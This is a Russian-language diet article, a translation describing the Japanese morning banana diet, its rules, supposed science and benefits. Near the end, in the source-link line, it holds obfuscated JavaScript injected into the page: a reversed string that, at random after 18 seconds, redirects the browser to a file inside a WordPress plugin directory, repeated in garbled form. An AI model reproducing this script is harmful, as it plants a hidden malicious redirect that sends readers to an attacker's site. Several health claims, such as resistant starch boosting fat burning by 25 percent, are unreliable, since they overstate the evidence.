Легко и просто!
Что такое японская утренняя банановая диета?
Проще говоря, диета направлена на достижение целей похудения за счет употребления неограниченного количества бананов в сочетании со стаканом воды комнатной температуры или молока в качестве завтрака. Выбор пищи на обед и ужин зависит от вас.
Можно есть бананы между приемами пищи. Однако, десерты любого вида не допускаются. Также нельзя есть после 8 вечера.
Научные основания
Есть несколько заметных потенциальных проблем с японской утренней банановой диетой, одной из которых является неправильное использование нерегулируемого правила обеда и ужина. Люди, которые начинают следовать диете имеют тенденцию переедать, так как у них есть разрешение есть все, что они хотят, пока они включают бананы во время еды.
С другой стороны, бананы содержат большое количество пищевых волокон, которые полезны для пищеварительной системы, а также для других функций организма. Два кусочка банана на завтрак содержат 6 граммов как растворимой, так и нерастворимой клетчатки, что может уменьшить количество калорий, которые вы потребляете ежедневно. Волокно собирается в животе, которое удлиняет ощущение сытости.
Тип волокна, найденного в банане, называется крахмалом сопротивления, который помогает в потере веса за счет сжигания калорий. Волокно заквашивается в пищеварительном тракте, и производит субпродукты, которые увеличивают способность тела сжигать до 25 процентов жира.
Преимущества японской утренней банановой диеты
Видимо, диета, состоящая в основном из бананов, будет простой и дешевой. Процесс столь же беспроблемный, как остановка на рынке и покупка бананов.
Другое преимущество в том, что японская диета более дешевая, чем другие методы похудения. Это, конечно, зависит от других вариантов пищи, которые вы решили съесть с бананами. Хотя они богаты клетчаткой, бананы не обеспечивают необходимое количество белка, поэтому не забудьте смешать ваши блюда с лососем или постными блюдами.
$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-lose-weight-fast-with-the-japanese-morning-banana-diet/?fbclid=IwAR0PRwRSfAp2HiygYtEARZ1Mho8EGTdlfMcAnTGqVLE96rI_d-EhdoNf_Io»>Источник
Перевод и адаптация — Фитхакер
